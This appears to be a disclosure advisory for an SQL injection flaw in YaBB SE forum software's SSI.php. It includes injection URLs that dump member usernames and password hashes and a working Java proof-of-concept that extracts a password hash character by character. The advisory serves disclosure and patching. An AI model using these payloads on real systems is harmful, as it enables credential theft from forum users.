Yabb SE SQL Injection

["backspace" <backspace_2k@xxxxxxxx>]

Summary:
YaBB SE is a PHP/MySQL port of the popular forum software YaBB (yet another
bulletin board). An SQL Injection vulnerability in the product allows a
remote attacker to insert malicious SQL statements.

Details:
Vulnerable Systems:
Yabb Se version 1.5.4 (tested), 1.5.3(tested) maybe others

Immune Systems:
Yabb Se version 1.5.5

Technical Details:

the file SSI.php has a number of functions that return some information
about the status of the forum like recent topics, boards statistics and so
on. Functions welcome and recentTopics are vulnerable to SQL injection
because the parameter ID_MEMBER is not checked against malicious input.

Example:

http://vulnhost/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=2)+WHERE+m.ID_MSG+IN+(2,1)+AND+t.ID_TOPIC=m.ID_TOPIC+AND+b.ID_BOARD=t.ID_BOARD+UNION+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yabbse_members+/*

OR

http://vulnhost/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=1)+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_MEMBER=1+OR+1=1)+UNION+SELECT+ID_MEMBER,+memberName,null,passwd,null,passwd,null,null,null,null,null,null+FROM+yabbse_members+/*

those requests return a page showing all usernames and hashed passwords.

[General Discussion]  test post by test January 01, 2001, 03:00:01 pm
[]  admin by [hashed pass]  January 01, 1970, 01:00:01 am
[]  test_user by [hashed pass]  January 01, 1970, 01:00:02 am


http://vulnhost/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2)+GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+,+0+FROM+yabbse_members+WHERE+ID_MEMBER=1/*

this request return the value of the first character from the realName of
the user whose ID_MEMBER is 1.

Proof of concept code:

/*
* YabbSe SQL Injection test code
* The code is very ugly but it works OK
* Use at your own risk.
* compile:
* javac yabb.java
* exec:
* java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
* parameters are:
* java yabb [url with path] [database_prefix] [ID_MEMBER]
*/
import java.net.*;
import java.io.*;

public class yabb {
    public static void main(String[] args) throws Exception {

 boolean lastChar = false;
 String Key = "";

        for ( int count=1; count <= 32 ; count++)
        {
  URL yabbForum = new URL(args[0] +
"SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
%20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
%20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");

  BufferedReader in = new BufferedReader(new
InputStreamReader(yabbForum.openStream()));

  String inputLine;

  inputLine = in.readLine();

  int pos  = inputLine.indexOf("action=im");
  int pos2 = inputLine.indexOf(" ", pos + 11);

  if ( pos < 0 )
  {
   System.out.println("ERROR: The server doesn't return any data");
   System.exit(0);
  }

  String theNumber = inputLine.substring( pos + 11, pos2);

  System.out.println(theNumber + "-" + new
Character((char)Integer.parseInt(theNumber.trim())).toString());
  Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
  in.close();
 }
 System.out.println("Hashed password : " + Key);
    }
}

Vendor status:
  The vendor was contacted and the vulnerabilities were fixed.

Solution:
  Upgrade to version 1.5.5

Credits:
Credits go to BackSpace